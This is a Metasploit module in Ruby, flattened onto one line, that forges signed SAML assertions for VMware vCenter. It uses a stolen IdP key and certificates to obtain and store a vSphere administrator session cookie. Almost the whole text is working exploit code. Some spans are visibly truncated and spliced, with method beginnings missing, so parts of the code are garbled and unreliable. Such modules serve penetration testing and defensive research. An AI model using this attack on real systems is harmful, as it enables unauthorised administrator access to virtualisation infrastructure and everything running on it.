## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/credential_collection' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::WmapScanUniqueQuery include Msf::Exploit::Remote::HttpClient NS_MAP = { 'c14n' => 'http://www.w3.org/2001/10/xml-exc-c14n#', 'ds' => 'http://www.w3.org/2000/09/xmldsig#', 'saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion', 'saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol', 'md' => 'urn:oasis:names:tc:SAML:2.0:metadata', 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xs' => 'http://www.w3.org/2001/XMLSchema' }.freeze PREFIX_LIST = 'xsd xsi'.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vCenter Forge SAML Authentication Credentials', 'Description' => %q{ This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate, IdP private key, and VMCA certificates as input objects; you must also provide the vCenter SSO domain name and vCenter FQDN. The module will return a session cookie for the /ui path that grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be retrieved using Metasploit post exploitation modules or extracted manually from /storage/db/vmware-vmdir/data.mdb using binwalk. }, 'Author' => 'npm[at]cesium137.io', 'Platform' => [ 'linux' ], 'DisclosureDate' => '2022-04-20', 'SessionTypes' => [ 'meterpreter', 'shell' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/'] ], 'Actions' => [ [ 'Run', { 'Description' => 'Generate vSphere session cookie' } ] ], 'DefaultAction' => 'Run', 'DefaultOptions' => { 'USERNAME' => 'administrator', 'DOMAIN' => 'vsphere.local', 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ] }, 'Privileged' => true ) ) register_options([ OptString.new('USERNAME', [ true, 'The username to target using forged credentials', 'administrator' ]), OptString.new('DOMAIN', [true, 'The target vSphere SSO domain', 'vsphere.local']), OptString.new('VHOST', [true, 'DNS FQDN of the vCenter server']), OptPath.new('VC_IDP_CERT', [ true, 'Path to the vCenter IdP certificate' ]), OptPath.new('VC_IDP_KEY', [ true, 'Path to the vCenter IdP private key' ]), OptPath.new('VC_VMCA_CERT', [ true, 'Path to the vCenter VMCA certificate' ]) ]) register_advanced_options([ OptInt.new('VC_IDP_TOKEN_BEFORE_SKEW', [ true, 'NOT_BEFORE seconds to subtract from current time, values 300 to 2592000', 2592000 ]), OptInt.new('VC_IDP_TOKEN_AFTER_SKEW', [ true, 'NOT_AFTER seconds to add to current time, values 300 to 2592000', 2592000 ]) ]) deregister_options('Proxies') end def username datastore['USERNAME'] end def domain datastore['DOMAIN'] end def vcenter_fqdn datastore['VHOST'] end def vc_idp_cert datastore['VC_IDP_CERT'] end def vc_idp_key datastore['VC_IDP_KEY'] end def vc_vmca_cert datastore['VC_VMCA_CERT'] end def vc_token_before_skew @vc_token_before_skew ||= datastore['VC_IDP_TOKEN_BEFORE_SKEW'] end def vc_token_after_skew @vc_token_after_skew ||= datastore['VC_IDP_TOKEN_AFTER_SKEW'] end def run cookie_jar.clear validate_domains validate_timestamps validate_idp_options print_status('HTTP GET => /ui/login ...') init_vsphere_login vprint_status('Create forged SAML assertion XML ...') unless (vsphere_saml_response = get_saml_response_template) fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML') end vprint_status('Sign forged SAML assertion with IdP key ...') unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response)) fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion') end print_status('HTTP POST => /ui/saml/websso/sso ...') unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth)) fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token') end print_good('Got valid administrator session token!') print_good("\t#{session_cookie}") end def validate_idp_options begin idp_cert_file = File.binread(vc_idp_cert) idp_key_file = File.binread(vc_idp_key) vmca_cert_file = File.binread(vc_vmca_cert) rescue StandardError => e print_error("File read failure: #{e.class} - #{e.message}") fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files') end unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file)) fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}") end unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file)) fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}") end unless (priv = OpenSSL::PKey::RSA.new(idp_key_file)) fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}") end unless pub.check_private_key(priv) fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated') end unless (pub.issuer.to_s == ca.subject.to_s) print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}") fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain') end unless pub.verify(ca.public_key) fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate') end print_good('Validated vCenter Single Sign-On IdP trusted certificate chain') @vcenter_saml_idp_cert = pub @vcenter_saml_idp_key = priv @vcenter_saml_ca_cert = ca end def init_vsphere_login res = send_request_cgi({ 'uri' => '/ui/login', 'method' => 'GET' }) unless res fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint') end unless res.code == 302 fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}") end datastore['TARGETURI'] = res['location'] uri = target_uri query = queryparse(uri.query || '') unless (vsphere_saml_request_query = CGI.unescape(query['SAMLRequest'])) fail_with(Msf::Exploit::Failure::UnexpectedReply, 'SAMLRequest query parameter was not returned with HTTP GET') end if !query['RelayState'].nil? @vcenter_saml_relay_state = CGI.unescape(query['RelayState']) vprint_status("Response included RelayState: #{@vcenter_saml_relay_state}") end vsphere_saml_request_gz = Base64.strict_decode64(vsphere_saml_request_query) vsphere_saml_request = Zlib::Inflate.new(-Zlib::MAX_WBITS).inflate(vsphere_saml_request_gz) req = vsphere_saml_request.to_s doc = REXML::Document.new(req) @vcenter_saml_id = doc.root.attributes['ID'].strip @vcenter_saml_issue = doc.root.attributes['IssueInstant'].strip @vcenter_saml_user = username.strip @vcenter_saml_domain = domain.strip @vcenter_saml_response_id = SecureRandom.hex.strip @vcenter_saml_assert_id = SecureRandom.uuid.strip @vcenter_saml_idx_id = SecureRandom.hex.strip @vcenter_saml_not_before = (Time.now.utc - vc_token_before_skew).iso8601.strip @vcenter_saml_not_after = (Time.now.utc + vc_token_after_skew).iso8601.strip end def get_saml_response_template template_path = ::File.join(::Msf::Config.data_directory, 'auxiliary', 'vmware', 'vcenter_forge_saml_token', 'assert.xml.erb') template = ::File.binread(template_path) b = binding context = { vcenter_fqdn: vcenter_fqdn, vcenter_saml_id: @vcenter_saml_id, vcenter_saml_issue: @vcenter_saml_issue, vcenter_saml_user: username, vcenter_saml_domain: domain, vcenter_saml_response_id: @vcenter_saml_response_id, vcenter_saml_assert_id: @vcenter_saml_assert_id, vcenter_saml_idx_id: @vcenter_saml_idx_id, vcenter_saml_not_before: @vcenter_saml_not_before, vcenter_saml_not_after: @vcenter_saml_not_after } locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " } b.eval(locals.join) body = b.eval(Erubi::Engine.new(template).src) body.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s* NS_MAP['c14n'] }) ds_sig_element.add_element('ds:SignatureMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256' }) ds_ref_element = ds_sig_element.add_element('ds:Reference', { 'URI' => "#_#{@vcenter_saml_assert_id}" }) ds_tx_element = ds_ref_element.add_element('ds:Transforms') ds_tx_element.add_element('ds:Transform', { 'Algorithm' => 'http://www.w3.org/2000/09/xmldsig#enveloped-signature' }) ds_c14_element = ds_tx_element.add_element('ds:Transform', { 'Algorithm' => NS_MAP['c14n'] }) ds_c14_element.add_element('ec:InclusiveNamespaces', { 'xmlns:ec' => NS_MAP['c14n'], 'PrefixList' => PREFIX_LIST }) ds_ref_element.add_element('ds:DigestMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmlenc#sha256' }) inclusive_namespaces = PREFIX_LIST.split(' ') dest_node = xmldoc.at_xpath('//saml2p:Response/saml2:Assertion', NS_MAP) canon_doc = dest_node.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, inclusive_namespaces) digest_b64 = Base64.strict_encode64(OpenSSL::Digest::SHA256.digest(canon_doc)) ds_ref_element.add_element('ds:DigestValue').text = digest_b64 noko_sig_element = Nokogiri::XML(ds_element.to_s) do |config| config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET end noko_signed_info_element = noko_sig_element.at_xpath('//ds:Signature/ds:SignedInfo', NS_MAP) c14n_string = noko_signed_info_element.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0) signature = Base64.strict_encode64(@vcenter_saml_idp_key.sign('rsa-sha256', c14n_string)) ds_element.add_element('ds:SignatureValue').text = signature key_info_element = ds_element.add_element('ds:KeyInfo') x509_element = key_info_element.add_element('ds:X509Data') x509_cert_element = x509_element.add_element('ds:X509Certificate') x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_idp_cert.to_der) x509_element = key_info_element.add_element('ds:X509Data') x509_cert_element = x509_element.add_element('ds:X509Certificate') x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_ca_cert.to_der) noko_signed_signature_element = Nokogiri::XML(ds_element.to_s) do |config| config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET end xmldoc.at_xpath('//saml2:Assertion/saml2:Issuer', NS_MAP).add_next_sibling(noko_signed_signature_element.document.root.to_s) xmldoc.document.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s* '/ui/saml/websso/sso', 'method' => 'POST', 'vars_post' => { 'SAMLResponse' => saml_response, 'RelayState' => @vcenter_saml_relay_state }, 'keep_cookies' => true }) else res = send_request_cgi({ 'uri' => '/ui/saml/websso/sso', 'method' => 'POST', 'vars_post' => { 'SAMLResponse' => saml_response }, 'keep_cookies' => true }) end unless res fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost} - could not reach SAML endpoint") end unless res.code == 302 if res.body.to_s != '' res_html = Nokogiri::HTML(res.body.to_s) res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.') if res_detail print_error("Response: #{res_detail}") else print_error("Unable to interpret response from vCenter. Raw response:\n#{res}") end end fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}") end cookie_jar.cookies.each do |c| print_status("Got cookie: #{c.name}=#{c.value}") end @vcenter_saml_token = res.get_cookies_parsed.values.select { |v| v.to_s.include?('JSESSIONID') }.first.first @vcenter_saml_path = res.get_cookies_parsed.values.select { |v| v.to_s.include?('Path') }.first.first extra_service_data = { origin_type: :service, realm_key: Metasploit::Model::Realm::Key::WILDCARD, realm_value: domain }.merge(service_details) store_valid_credential(user: "JSESSIONID (#{@vcenter_saml_path})", private: @vcenter_saml_token, service_data: extra_service_data) "JSESSIONID=#{@vcenter_saml_token}; Path=#{@vcenter_saml_path}" end def validate_domains unless validate_fqdn(vcenter_fqdn) fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}") end unless validate_fqdn(domain) fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter SSO domain provided: #{domain}") end end def validate_timestamps unless (vc_token_before_skew >= 300) && (vc_token_after_skew >= 300) fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds') end unless (vc_token_before_skew <= 2592000) && (vc_token_after_skew <= 2592000) fail_with(Msf::Exploit::Failure::BadConfig, 'Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds') end end def validate_fqdn(fqdn) fqdn_regex = /(?=^.{4,253}$)(^((?!-)[a-z0-9-]{0,62}[a-z0-9]\.)+[a-z]{2,63}$)/ return true if fqdn_regex.match?(fqdn.to_s.downcase) false end end